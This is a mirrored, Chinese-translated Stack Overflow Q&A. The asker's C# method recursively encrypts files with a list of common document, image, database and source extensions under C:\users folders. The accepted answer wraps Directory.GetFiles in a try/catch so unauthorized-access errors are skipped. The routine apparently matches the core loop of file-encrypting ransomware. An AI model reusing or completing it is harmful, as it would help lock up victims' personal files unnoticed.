首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >忽略“未经授权的访问”“函数Directory.GetDirectories()”

忽略“未经授权的访问”“函数Directory.GetDirectories()”
EN

Stack Overflow用户
提问于 2017-05-26 11:03:31
回答 1查看 137关注 0票数 2

当我在某些目录中扫描C:\\users\\<SomeUserName>\\*目录时,我没有访问权限,我搜索了很多如何忽略“未经授权的访问”,现在我需要帮助:/

这是我的代码:

代码语言:javascript
复制
public void encryptDirectory(string location, string password)
{
    //extensions to be encrypt
    var validExtensions = new[]
    {
        ".txt", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".odt", ".jpg", ".png", ".csv", ".sql", ".mdb", ".sln", ".php", ".asp", ".aspx", ".html", ".xml", ".psd"
    };
    string[] files = Directory.GetFiles(location);
    string[] childDirectories = Directory.GetDirectories(location);
    for (int i = 0; i < files.Length; i++)
    {
        string extension = Path.GetExtension(files[i]);
        if (validExtensions.Contains(extension))
        {
            EncryptFile(files[i], password);
        }
    }
    for (int i = 0; i < childDirectories.Length; i++)
    {
        encryptDirectory(childDirectories[i], password);
    }
}
EN

回答 1

Stack Overflow用户

回答已采纳

发布于 2017-05-26 11:16:57

如果您想忽略某个特定方法引发的异常,编写自己的包装器,捕获希望捕获的异常,并返回一些有用的默认值:

代码语言:javascript
复制
private static string[] GetFilesSafe(string location) {
    try {
        return Directory.GetFiles(location);
    } catch (UnauthorizedAccessException ex) {
        Console.Error.WriteLine(ex.Message);
        return new string[0];
    }
}

Directory.GetDirectories编写类似的包装器,并将直接调用替换为对包装器的调用。这将隐藏访问问题。

票数 0
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/44199931

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档